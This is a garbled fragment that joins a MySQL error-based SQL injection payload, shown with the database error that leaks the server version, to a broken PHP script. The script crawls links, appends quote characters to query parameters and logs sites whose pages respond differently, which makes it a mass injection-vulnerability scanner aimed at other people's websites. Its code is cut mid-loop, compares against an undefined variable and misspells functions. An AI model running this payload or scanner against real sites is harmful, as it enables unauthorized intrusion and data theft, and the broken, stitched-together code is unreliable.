insert ... values (...) on duplicate key update parent_name = (select 1 from (select count(*), concat(version(), floor(rand(0) * 2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.0.771' for key 1

]*[Hh][Rr][Ee][Ff][^=]*=[ '\"\n\r\t]*([^ \"'>\r\n\t#]+)[^>]*>/",$html,$a);
        for($x=0; $x 0)
                    //$str = substr($str, 0, $end);
                if(strpos($been, str_replace('www.','',$str)) === false)
                {
                    $been .= $str . '+';                    
                $url = 'http://'.$str;
                if (strpos($url,'?')!==false) {
                $u = parse_url($url);
                $s = '';
                if (preg_match_all('#(.*?)&#',$u['query'],$q)) {
                foreach ($q[1] as $t) $s.=$t."'&";
                $s.=substr($u['query'],strrpos($u['query'],'&')+1,strlen($u['query']))."'";
                }
                else $s = $u['query']."'";
                $page = file_get_contents($url);
                $page1 = file_get_contents($u['scheme'].'://'.$u['host'].'/'.$u['path'].'?'.$s);
                if ($page!==$page2) fputs($f1,$str."\n");                
                }
                }
            }
        }
        Sleep(45);
    }
	}
	flose($f1);
	flose($f);
?>